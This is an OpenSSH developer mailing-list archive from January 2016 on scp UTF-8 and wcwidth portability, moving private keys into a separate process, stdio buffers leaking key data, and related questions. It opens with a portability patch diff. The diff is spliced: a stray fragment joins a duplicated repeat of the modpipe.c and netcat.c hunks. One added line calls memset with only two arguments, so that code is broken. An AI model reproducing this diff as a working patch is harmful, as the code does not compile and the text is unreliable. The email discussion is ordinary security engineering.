-lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

@@ -500,7 +499,7 @@ UNITTESTS_TEST_HOSTKEYS_OBJS=\
regress/unittests/hostkeys/test_hostkeys$(EXEEXT): \
${UNITTESTS_TEST_HOSTKEYS_OBJS} \
regress/unittests/test_helper/libtest_helper.a libssh.a
- $(LD) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_HOSTKEYS_OBJS) \
+ $(CC) -o $@ $(LDFLAGS) $(UNITTESTS_TEST_HOSTKEYS_OBJS) \
regress/unittests/test_helper/libtest_helper.a \
-lssh -lopenbsd-compat -lssh -lopenbsd-compat $(LIBS)

diff --git a/contrib/cygwin/Makefile b/contrib/cygwin/Makefile
index a0261f4..89c7dfd 100644
--- a/contrib/cygwin/Makefile
+++ b/contrib/cygwin/Makefile
@@ -14,8 +14,6 @@ inetdefdir=$(defaultsdir)/inetd.d
PRIVSEP_PATH=/var/empty
INSTALL=/usr/bin/install -c

-DESTDIR=
-
all:
@echo
@echo "Use \`make cygwin-postinstall DESTDIR=[package directory]'"
diff --git a/deattack.c b/deattack.c
index e76481a..e5193db 100644
--- a/deattack.c
+++ b/deattack.c
@@ -97,7 +97,7 @@ check_crc(const u_char *S, const u_char *buf, u_int32_t len)
void
deattack_init(struct deattack_ctx *dctx)
{
- bzero(dctx, sizeof(*dctx));
+ memset(dctx, sizeof(*dctx));
dctx->n = HASH_MINSIZE / HASH_ENTRYSIZE;
}

diff --git a/loginrec.c b/loginrec.c
index 788553e..332da3e 100644
--- a/loginrec.c
+++ b/loginrec.c
@@ -1032,7 +1032,7 @@ utmpx_perform_login(struct logininfo *li)
return (0);
}
# else
- if (!utmpx_write_direct(li, &ut)) {
+ if (!utmpx_write_direct(li, &utx)) {
logit("%s: utmp_write_direct() failed", __func__);
return (0);
}
diff --git a/misc.c b/misc.c
index 3170218..aee3631 100644
--- a/misc.c
+++ b/misc.c
@@ -29,6 +29,9 @@
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
+#ifdef HAVE_SYS_TIME_H
+# include <sys/time.h>
+#endif
#include <sys/un.h>

#include <limits.h>
diff --git a/openbsd-compat/bsd-misc.c b/openbsd-compat/bsd-misc.c
index 2a788e4..97ccf70 100644
--- a/openbsd-compat/bsd-misc.c
+++ b/openbsd-compat/bsd-misc.c
@@ -105,7 +105,7 @@ const char *strerror(int e)
#endif

#ifndef HAVE_UTIMES
-int utimes(char *filename, struct timeval *tvp)
+int utimes(const char *filename, struct timeval *tvp)
{
struct utimbuf ub;

diff --git a/openbsd-compat/bsd-misc.h b/openbsd-compat/bsd-misc.h
index 0d81d17..7e77bd2 100644
--- a/openbsd-compat/bsd-misc.h
+++ b/openbsd-compat/bsd-misc.h
@@ -63,7 +63,7 @@ struct timeval {
}
#endif /* HAVE_STRUCT_TIMEVAL */

-int utimes(char *, struct timeval *);
+int utimes(const char *, struct timeval *);
#endif /* HAVE_UTIMES */

#ifndef HAVE_TRUNCATE
diff --git a/openbsd-compat/strptime.c b/openbsd-compat/strptime.c
index d8d83d9..8958767 100644
--- a/openbsd-compat/strptime.c
+++ b/openbsd-compat/strptime.c
@@ -68,7 +68,9 @@ _strptime(const char *buf, const char *fmt, struct tm *tm, int initialize)
{
unsigned char c;
const unsigned char *bp;
+#if 0
size_t len;
+#endif
int alt_format, i;
static int century, relyear;

diff --git a/regress/modpipe.c b/regress/modpipe.c
index e854f9e..0ccd222 100755
--- a/regress/modpipe.c
+++ b/regress/modpipe.c
@@ -78,7 +78,7 @@ parse_modification(const char *s, struct modification *m)
char what[16+1];
int n, m1, m2;

- bzero(m, sizeof(*m));
+ memset(m, 0, sizeof(*m));
if ((n = sscanf(s, "%16[^:]%*[:]%llu%*[:]%i%*[:]%i",
what, &m->offset, &m1, &m2)) < 3)
errx(1, "Invalid modification spec \"%s\"", s);
diff --git a/regress/netcat.c b/regress/netcat.c
index 6234ba0..198a838 100644
--- a/regress/netcat.c
+++ b/regress/netcat.c
@@ -1061,7 +1061,7 @@ fdpass(int nfd)
msg.msg_iov = &vec;
msg.msg_iovlen = 1;

- bzero(&pfd, sizeof(pfd));
+ memset(&pfd, 0, sizeof(pfd));
pfd.fd = STDOUT_FILENO;
for (;;) {
r = sendmsg(STDOUT_FILENO, &msg, 0);*m)
 	char what[16+1];
 	int n, m1, m2;
 
-	bzero(m, sizeof(*m));
+	memset(m, 0, sizeof(*m));
 	if ((n = sscanf(s, "%16[^:]%*[:]%llu%*[:]%i%*[:]%i",
 	    what, &m->offset, &m1, &m2)) < 3)
 		errx(1, "Invalid modification spec \"%s\"", s);
diff --git a/regress/netcat.c b/regress/netcat.c
index 6234ba0..198a838 100644
--- a/regress/netcat.c
+++ b/regress/netcat.c
@@ -1061,7 +1061,7 @@ fdpass(int nfd)
 	msg.msg_iov = &vec;
 	msg.msg_iovlen = 1;
 
-	bzero(&pfd, sizeof(pfd));
+	memset(&pfd, 0, sizeof(pfd));
 	pfd.fd = STDOUT_FILENO;
 	for (;;) {
 		r = sendmsg(STDOUT_FILENO, &msg, 0);

From schwarze at usta.de  Wed Jan 20 10:54:41 2016
From: schwarze at usta.de (Ingo Schwarze)
Date: Wed, 20 Jan 2016 00:54:41 +0100
Subject: [patch] scp + UTF-8
In-Reply-To: <CALDDTe0jun5F4=2QH4MK6Rm6TqJQRiUE4+j27u3kO9HGhbROnw@mail.gmail.com>
References: <20160119214853.GH9300@athene.usta.de>
 <CALDDTe0jun5F4=2QH4MK6Rm6TqJQRiUE4+j27u3kO9HGhbROnw@mail.gmail.com>
Message-ID: <20160119235441.GJ9300@athene.usta.de>

Hi Darren,

Darren Tucker wrote on Wed, Jan 20, 2016 at 09:39:33AM +1100:
> On Wed, Jan 20, 2016 at 8:48 AM, Ingo Schwarze <schwarze at usta.de> wrote:

>> Martijn sent the following patch to me in private and agreed that i
>> post it here.
>>
>> In any other program in OpenBSD base, i'd probably agree with the
>> basic approach.  Regarding OpenSSH, however, i worry whether wcwidth(3)
>> can be used.  While wcwidth(3) is POSIX, it is not ISO C.  Does
>> OpenSSH target platforms that don't provide wcwidth(3)?

> OpenSSH nominally targets POSIX, but it builds on a wide enough range
> of platforms that it's likely at least some don't have it.
> 
> Our general approach is to target POSIX then implement any needed
> missing bits either by stealing the implementation from OpenBSD, some
> other BSD licensed source or writing from scratch.  If we have to
> we'll ifdef stuff but prefer not to.

Sure, that's what i expected.

>> If so, do you think the problem can be solved by simply providing
>> US-ASCII support only on such platforms, but no UTF-8 support at all?

> Yes.  That's what I did with mblen when we picked up a need for that
> via libedit for platforms with no wide character support.
> 
> $ grep -i mblen openbsd-compat/*.h
> openbsd-compat/openbsd-compat.h:#ifndef HAVE_MBLEN
> openbsd-compat/openbsd-compat.h:# define mblen(x, y)  (1)

Uh oh.  I'm not quite sure what consequences that might entail in
libedit for sftp(1), which does use setlocale(LC_CTYPE, "")?
Did you audit those consequences?

> Is there any reason the same approach would not work with wcwidth?

  #define wcwidth(x) (1)   /* NO!! */

would be a security risk.  One purpose of wcwidth(3) is to weed out
non-printable characters.  Whatever replacement we use, we have to
make sure it returns -1 for every non-printable character on every
platform.  We MUST NOT let the scp(1) progressmeter spew random
Unicode characters taken from the network at the user's terminal.
They might be control codes.

  #define wcwidth(x) (-1)   /* not really */

is not a security issue, but it would completely break filename
display even with the C/POSIX locale on those platforms.  I briefly
considered

  int
  wcwidth(wchar_t wc)   /* might break? */
  {
  	if (wc < 0x20 || wc > 0x7e)
		return -1;
	return isprint((unsigned char)wc) ? 1 : -1;
  }

But that isn't ideal either because as far as i know, ISO C
doesn't require that wchar_t is internally represented in a way
that puts ASCII in the range 0x00 to 0x7f.  Using iswprint(3)
is not a very good idea either because that is C99, not C89,
and may not be available either.

So if we can't get a real implementation of wcwidth(3) on some
platform, it's better to completely disable UTF-8 and only allow
US-ASCII.

A real replacement implementation of wcwidth(3) is MUCH harder
than a real replacement implementation of mbtowc(3) and mblen(3).
It needs a big table of character ranges (see tmux(1)), while
the latter can be done in 50 lines (see mandoc(1)).

That's why i said: If we want full UTF-8 support on all platforms
no matter what and must have a complete replacement wcwidth(3), we
should complete djm@'s character filtering first.

>> P.S.
>> This patch also uses mbtowc(3), but i assume that's no problem
>> because that's ANSI C.

> I would not assume that its existence in the standard is equal to its
> existence in all deployments :-)  That said it looks like we can
> implement it in libcompat if needed.

Yes, mbtowc(3) and mblen(3), certainly, but even those only for UTF-8,
not for any other locale.

Yours,
  Ingo

From keisial at gmail.com  Wed Jan 20 10:54:32 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Wed, 20 Jan 2016 00:54:32 +0100
Subject: Proposal: always handle keys in separate process
In-Reply-To: <569D0EAC.1060405@0xbadc0de.be>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
 <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
 <569D0EAC.1060405@0xbadc0de.be>
Message-ID: <569ECCB8.4040706@gmail.com>

On 18/01/16 17:11, Aris Adamantiadis wrote:
> Implicit identities could be removed from the default configuration,
> too. Most users already have an agent and aren't aware it exists, and
> having to type the passphrase every time encourages users to have
> unencrypted keys.
>
> Aris

+1

While they may be handy if you have a single key, once you start using
several keys, they mainly just get on the way.

It can't be simply removed though, as that could make some ssh clients
to stop working. I would make sure the same behavior can be achieved
with IdentityFile (it may need to be tweaked so you add keys
at the end), and then remove the native support, moving it to the config 
file.


From roland.mainz at nrubsig.org  Wed Jan 20 11:13:10 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Wed, 20 Jan 2016 01:13:10 +0100
Subject: [patch] scp + UTF-8
In-Reply-To: <20160119214853.GH9300@athene.usta.de>
References: <20160119214853.GH9300@athene.usta.de>
Message-ID: <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>

On Tue, Jan 19, 2016 at 10:48 PM, Ingo Schwarze <schwarze at usta.de> wrote:
> Martijn sent the following patch to me in private and agreed that i post
> it here.
>
> In any other program in OpenBSD base, i'd probably agree with the
> basic approach.  Regarding OpenSSH, however, i worry whether wcwidth(3)
> can be used.  While wcwidth(3) is POSIX, it is not ISO C.  Does
> OpenSSH target platforms that don't provide wcwidth(3)?  If so,
> do you think the problem can be solved by simply providing US-ASCII
> support only on such platforms, but no UTF-8 support at all?
>
> If you think we can require wcwidth(3), or we can ditch UTF-8 support
> where wcwidth(3) it isn't available, i will work with Martijn to
> iron out a few style issues such that we can submit a patch that
> is ready for commit.

Some generic portability comments:
1. There are other modern encodings like GB18030 (support is even
mandatory for software sold to the goverment in PRC China) currently
in use and many "legacy" ones, so the current locale may be multibyte
but does not use UTF-8 as encoding
2. |wcwidth()| counts in terminal cells and not number of characters
(where one character might occupy one or more bytes), e.g. there are
characters which may occupy from zero to four terminal cells (acual
number of cells is a bit (not much) OS specific).
3. I am not sure whether there is a specific byte limit for UTF-8 in
any of the standards, e.g. "- To support terminals larger then
MAX_WINSIZE and still be properly indented I increased the buf size to
4x the size of MAX_WINSIZE, since the maximum size of an UTF-8 char
<should> be 4 bytes." might not be a portable assumption and I would
at least safeguard it.

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From dtucker at zip.com.au  Wed Jan 20 11:29:41 2016
From: dtucker at zip.com.au (Darren Tucker)
Date: Wed, 20 Jan 2016 11:29:41 +1100
Subject: [patch] scp + UTF-8
In-Reply-To: <20160119235441.GJ9300@athene.usta.de>
References: <20160119214853.GH9300@athene.usta.de>
 <CALDDTe0jun5F4=2QH4MK6Rm6TqJQRiUE4+j27u3kO9HGhbROnw@mail.gmail.com>
 <20160119235441.GJ9300@athene.usta.de>
Message-ID: <CALDDTe0zCwx5GR-56Ti-Z07rWSGFp0TsW8YR2t2cPpvYdQKC_A@mail.gmail.com>

On Wed, Jan 20, 2016 at 10:54 AM, Ingo Schwarze <schwarze at usta.de> wrote:
>> $ grep -i mblen openbsd-compat/*.h
>> openbsd-compat/openbsd-compat.h:#ifndef HAVE_MBLEN
>> openbsd-compat/openbsd-compat.h:# define mblen(x, y)  (1)
>
> Uh oh.  I'm not quite sure what consequences that might entail in
> libedit for sftp(1), which does use setlocale(LC_CTYPE, "")?
> Did you audit those consequences?

Audit?  No.  I spent a lot of time reading man pages but it's not
something I've dealt with before so I don't understand it very well.
That said, the behaviour on systems without mblen should be the same
as what it was before my change so it should be no worse.

The history is at https://bugzilla.mindrot.org/show_bug.cgi?id=1990

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.

From keisial at gmail.com  Wed Jan 20 11:34:50 2016
From: keisial at gmail.com (=?ISO-8859-1?Q?=C1ngel_Gonz=E1lez?=)
Date: Wed, 20 Jan 2016 01:34:50 +0100
Subject: User id for the forwarder ports
In-Reply-To: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
References: <CA+gSDyTatVkLxiZMtUhv+WT2QjOe7r8OartzyGvVXzKsjD1Daw@mail.gmail.com>
Message-ID: <569ED62A.8030400@gmail.com>

On 03/01/16 01:03, Esben Nielsen wrote:
> Hi,
>
> Question:
>
> Can a TCP server (running on the same host as the OpenSSH server) know
> the user id/name of a user forwarding an TCP port ?
> (...)
>
> So my question is:
> Is there any way to let the TCP application server know the user id of
> the SSH forwarded TCP connection?
Yes.
For instance a naive implementation could run a root netstat -e -tp 
looking for the other side of its connection.

Even with an optimized search of the connection, I think you would need 
to end up with a root process
scanning all fds per check, though.


Additionally, I should note that you seem to be attempting the wrong 
solution ("tacklinh openssh in the middle") for your problem of 
authorizing users, making it needlessly complex.
For instance, given that you seem to be developing the server side of 
the application, why don't you require socks authentication? (yes, socks 
protocol supports authentication, and even if the client implementation 
doesn't, it'd be easier to fix it than your solution)

Regards


From keisial at gmail.com  Wed Jan 20 11:42:05 2016
From: keisial at gmail.com (=?UTF-8?B?w4FuZ2VsIEdvbnrDoWxleg==?=)
Date: Wed, 20 Jan 2016 01:42:05 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
Message-ID: <569ED7DD.2020705@gmail.com>

On 20/01/16 00:18, Roland Mainz wrote:
> On Tue, Jan 19, 2016 at 11:53 PM, ?ngel Gonz?lez<keisial at gmail.com>  wrote:
>> That won't work when the data was recovered because it was read inside
>> a stdio buffer which was not overwritten before being freed.
> Why is stdio used in such a security-sensitive area anyway ? Is there
> any performance impact if the code is switched to plain { |open()|,
> |read()|, ... } (with sufficient wrappers for |EINTR| handling) ?

Probably not, and in fact I would favor changing it.

I was just pointing out that the private key leak was not in OpenSSH buffers,
which were properly zeroed, but from things like the use of stdio buffers.

Your proposal may be an hardening oportunity, but is not a final solution.
For that, a different process would be preferable.

Best regards




From keisial at gmail.com  Wed Jan 20 11:41:13 2016
From: keisial at gmail.com (=?UTF-8?B?w4FuZ2VsIEdvbnrDoWxleg==?=)
Date: Wed, 20 Jan 2016 01:41:13 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
Message-ID: <569ED7A9.8000103@gmail.com>

On 20/01/16 00:18, Roland Mainz wrote:
> On Tue, Jan 19, 2016 at 11:53 PM, ?ngel Gonz?lez<keisial at gmail.com>  wrote:
>> That won't work when the data was recovered because it was read inside
>> a stdio buffer which was not overwritten before being freed.
> Why is stdio used in such a security-sensitive area anyway ? Is there
> any performance impact if the code is switched to plain { |open()|,
> |read()|, ... } (with sufficient wrappers for |EINTR| handling) ?

Probably not, and in fact I would favor changing it.

I was just pointing out that the private key leak was not in OpenSSH buffers,
which were properly zeroed, but from things like the use of stdio buffers.

Best regards




From roland.mainz at nrubsig.org  Wed Jan 20 11:53:41 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Wed, 20 Jan 2016 01:53:41 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <569ED7DD.2020705@gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
 <569ED7DD.2020705@gmail.com>
Message-ID: <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>

On Wed, Jan 20, 2016 at 1:42 AM, ?ngel Gonz?lez <keisial at gmail.com> wrote:
> On 20/01/16 00:18, Roland Mainz wrote:
>> On Tue, Jan 19, 2016 at 11:53 PM, ?ngel Gonz?lez<keisial at gmail.com>
>> wrote:
>>>
>>> That won't work when the data was recovered because it was read inside
>>> a stdio buffer which was not overwritten before being freed.
>>
>> Why is stdio used in such a security-sensitive area anyway ? Is there
>> any performance impact if the code is switched to plain { |open()|,
>> |read()|, ... } (with sufficient wrappers for |EINTR| handling) ?
>
> Probably not, and in fact I would favor changing it.
>
> I was just pointing out that the private key leak was not in OpenSSH
> buffers,
> which were properly zeroed, but from things like the use of stdio buffers.
>
> Your proposal may be an hardening oportunity, but is not a final solution.
> For that, a different process would be preferable.

Well, I am not happy with the solution because it adds *lots* of extra
overhead (not noticeable on today's multi-GHz desktop machines but on
small embedded machines this bites back).

What about the idea of storing "valuable" data in unlinked temp files
and |mmap()| then only on demand ? That would keep them out of the
claws of *other* users (obviously same user can use /proc/$pid/fd/$fd
to |open()| such files, but then the same user could just attach
gdb/dbx and dissect the ssh/sshd/ssh_secure_storage processes and even
inject random code) ...

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From schwarze at usta.de  Wed Jan 20 12:05:00 2016
From: schwarze at usta.de (Ingo Schwarze)
Date: Wed, 20 Jan 2016 02:05:00 +0100
Subject: [patch] scp + UTF-8
In-Reply-To: <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>
References: <20160119214853.GH9300@athene.usta.de>
 <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>
Message-ID: <20160120010500.GK9300@athene.usta.de>

Hi Roland,

Roland Mainz wrote on Wed, Jan 20, 2016 at 01:13:10AM +0100:

> Some generic portability comments:
> 1. There are other modern encodings like GB18030

Yes, but there are no plans to support any other encodings except
UTF-8 in the OpenBSD base system, so supporting other encodings
would be a matter for the portable version, if at all.  I will
consider whether it is possible to write multibyte character support
in a way that doesn't result in obfuscation (and hence loss of
security) on OpenBSD and yet supports other encodings elsewhere,
but i'm not yet sure that will be possible.  In case of the slightest
doubt, i expect OpenSSH developers will prioritize security over
additonal encoding support.

> (support is even mandatory for software sold to the goverment in
> PRC China)

I'm not aware of any plans to sell OpenSSH to the government of
China, but they are of course welcome to use it for free.

> 2. |wcwidth()| counts in terminal cells and not number of characters
> (where one character might occupy one or more bytes), e.g. there are
> characters which may occupy from zero to four terminal cells (acual
> number of cells is a bit (not much) OS specific).

I never heard about any characters occupying more than three cells.
As far as i know, the result of wcwidth(3) is not specified by the
Unicode standard, so i'm usually looking at the Perl implementation
as a reference.  Last time i looked there, i didn't find any actual
characters occupying more than two cells, even though characters
of width three might in principle be possible.

> 3. I am not sure whether there is a specific byte limit for UTF-8
> in any of the standards,

Yes, current Unicode limits codepoints to U+0000 to U+10FFFF, which
limits UTF-8 to one to four bytes.  But five and six byte UTF-8
sequences were considered in the past, so you are right that we
should make sure that nothing breaks if some system has bogus
support for those.

> e.g. "- To support terminals larger then MAX_WINSIZE and still be
> properly indented I increased the buf size to 4x the size
> of MAX_WINSIZE, since the maximum size of an UTF-8 char <should>
> be 4 bytes." might not be a portable assumption and I would
> at least safeguard it.

Yes, thank you for your comments, i have taken notes in my TODO file
to check that they will not be forgotten when reviewing future patches.
In particular the last one is quite important:

 * scp(1) comments by Roland Mainz:
   try to make things work even with non-UTF-8 outside OpenBSD, if easy
   make sure nothing breaks for wcwidth(...) > 2
   make sure nothing breaks for MB_CUR_MAX > 4

Yours,
  Ingo

From lists at spuddy.org  Wed Jan 20 12:29:21 2016
From: lists at spuddy.org (Stephen Harris)
Date: Tue, 19 Jan 2016 20:29:21 -0500
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal:
 always handle keys in separate process
In-Reply-To: <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
 <569ED7DD.2020705@gmail.com>
 <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
Message-ID: <20160120012921.GA32747@mercury7.spuddy.org>

On Wed, Jan 20, 2016 at 01:53:41AM +0100, Roland Mainz wrote:
> Well, I am not happy with the solution because it adds *lots* of extra
> overhead (not noticeable on today's multi-GHz desktop machines but on
> small embedded machines this bites back).

Serious question: how many small embedded machines that can't afford
another process are running openssh vs dropbear server?

-- 

rgds
Stephen

From dkg at fifthhorseman.net  Wed Jan 20 13:10:10 2016
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Tue, 19 Jan 2016 21:10:10 -0500
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
In-Reply-To: <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
 <569ED7DD.2020705@gmail.com>
 <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
Message-ID: <87io2p6lx9.fsf@alice.fifthhorseman.net>

On Tue 2016-01-19 19:53:41 -0500, Roland Mainz wrote:
> What about the idea of storing "valuable" data in unlinked temp files
> and |mmap()| then only on demand ? That would keep them out of the
> claws of *other* users (obviously same user can use /proc/$pid/fd/$fd
> to |open()| such files, but then the same user could just attach
> gdb/dbx and dissect the ssh/sshd/ssh_secure_storage processes and even
> inject random code) ...

depending on the filesystem used, this could mean writing this sensitive
data to the underlying storage medium, which sounds like a worse failure
than anything this proposal would fix.

     --dkg

From carson at taltos.org  Wed Jan 20 13:31:44 2016
From: carson at taltos.org (Carson Gaspar)
Date: Tue, 19 Jan 2016 18:31:44 -0800
Subject: [patch] scp + UTF-8
In-Reply-To: <20160119235441.GJ9300@athene.usta.de>
References: <20160119214853.GH9300@athene.usta.de>
 <CALDDTe0jun5F4=2QH4MK6Rm6TqJQRiUE4+j27u3kO9HGhbROnw@mail.gmail.com>
 <20160119235441.GJ9300@athene.usta.de>
Message-ID: <569EF190.1030903@taltos.org>

On 1/19/16 3:54 PM, Ingo Schwarze wrote:
> that puts ASCII in the range 0x00 to 0x7f.  Using iswprint(3)
> is not a very good idea either because that is C99, not C89,
> and may not be available either.

iswprint() is SUSv3/POSIX.1-2001 as well as C99. So is wcwidth(). So the 
odds are if you have one, you have the other.

Historical perspective:
Solaris 2.5 (1995) had support for both in libw
Solaris 2.6 (1997) moved them to libc
Visual Studio 6 (1998) had support, possibly earlier versions
Red Hat Linux in 6.0 (1999)
NetBSD appears to have added it in 1.6 (2002)
FreeBSD in 5.0 (2003)
Mac OS X in 10.3 (2003)
Minix only got them with the 3.2.x NetBSD userland (2012?)

I got tired of looking up specific versions, but late enough IRIX, HPUX, 
OpenVMS, Tru64, OSF1, VxWorks, and QNX Neutrino all support them.

ULTRIX never did.

Which platforms does the project care about that _don't_ support them?

For non-supporting platforms, GNU Gettext just does:

iswprint (__wctype_wint_t wc)
{
   return wc >= ' ' && wc <= '~';
}

Glibc has some bit-shifting voodoo that does iswprint for UTF-8 only - 
the code is simple enough to re-implement.

A full locale-aware version is a lot of work :-(


From gert at greenie.muc.de  Wed Jan 20 19:32:38 2016
From: gert at greenie.muc.de (Gert Doering)
Date: Wed, 20 Jan 2016 09:32:38 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal:
 always handle keys in separate process
In-Reply-To: <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
References: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>
 <569EBE64.3040203@gmail.com>
 <CAKAoaQ=VFGR6ts=vRg5+owP6HjMdgax+GWJdDUVYfoHgr3enHg@mail.gmail.com>
 <569ED7DD.2020705@gmail.com>
 <CAKAoaQmysSa2kMn6xekFeh2RKtdFwRvdY21XQ7AvmrxrJYSuwQ@mail.gmail.com>
Message-ID: <20160120083238.GY24952@greenie.muc.de>

Hi,

On Wed, Jan 20, 2016 at 01:53:41AM +0100, Roland Mainz wrote:
> >> any performance impact if the code is switched to plain { |open()|,
> >> |read()|, ... } (with sufficient wrappers for |EINTR| handling) ?
> 
> Well, I am not happy with the solution because it adds *lots* of extra
> overhead (not noticeable on today's multi-GHz desktop machines but on
> small embedded machines this bites back).

Actually, "open(), read(full file size), close()" is *less* overhead than
mixing in an extra stdio layer.  Of course what you don't want to do is
single-byte-read()s then...

gert
-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de

From de.techno at gmail.com  Wed Jan 20 21:26:43 2016
From: de.techno at gmail.com (dE)
Date: Wed, 20 Jan 2016 15:56:43 +0530
Subject: How do I enable roaming on the server?
In-Reply-To: <569DEDEC.3080103@redhat.com>
References: <569DEA3A.4010608@gmail.com> <569DEDEC.3080103@redhat.com>
Message-ID: <569F60E3.3020903@gmail.com>

Humm... that's sad.

Thanks for the info.

On 01/19/16 13:33, Jakub Jelen wrote:
> On 01/19/2016 08:48 AM, dE wrote:
>> Hi.
>>     I found out the recent roaming vulnerability, but I want to 
>> enable it on the server regardless of the security concern.
> This feature was never implemented in openssh server.
>
> Regards,
>


From mstone at mathom.us  Wed Jan 20 23:50:03 2016
From: mstone at mathom.us (Michael Stone)
Date: Wed, 20 Jan 2016 07:50:03 -0500
Subject: [patch] scp + UTF-8
In-Reply-To: <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>
References: <20160119214853.GH9300@athene.usta.de>
 <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>
Message-ID: <0a461c82-bf74-11e5-9b6a-00163eeb5320@msgid.mathom.us>

On Wed, Jan 20, 2016 at 01:13:10AM +0100, Roland Mainz wrote:
>3. I am not sure whether there is a specific byte limit for UTF-8 in
>any of the standards, e.g. "- To support terminals larger then
>MAX_WINSIZE and still be properly indented I increased the buf size to
>4x the size of MAX_WINSIZE, since the maximum size of an UTF-8 char
><should> be 4 bytes." might not be a portable assumption and I would
>at least safeguard it.

Isn't that assumption completely broken in the presence of combining 
characters?

Mike Stone

From schwarze at usta.de  Thu Jan 21 01:53:13 2016
From: schwarze at usta.de (Ingo Schwarze)
Date: Wed, 20 Jan 2016 15:53:13 +0100
Subject: [patch] scp + UTF-8
In-Reply-To: <0a461c82-bf74-11e5-9b6a-00163eeb5320@msgid.mathom.us>
References: <20160119214853.GH9300@athene.usta.de>
 <CAKAoaQmME3Xzk9v3W-L2Q2Jj1dMQ+7_XSfRQSxZMffbZkfb-1A@mail.gmail.com>
 <0a461c82-bf74-11e5-9b6a-00163eeb5320@msgid.mathom.us>
Message-ID: <20160120145313.GA4494@athene.usta.de>

Hi Michael,

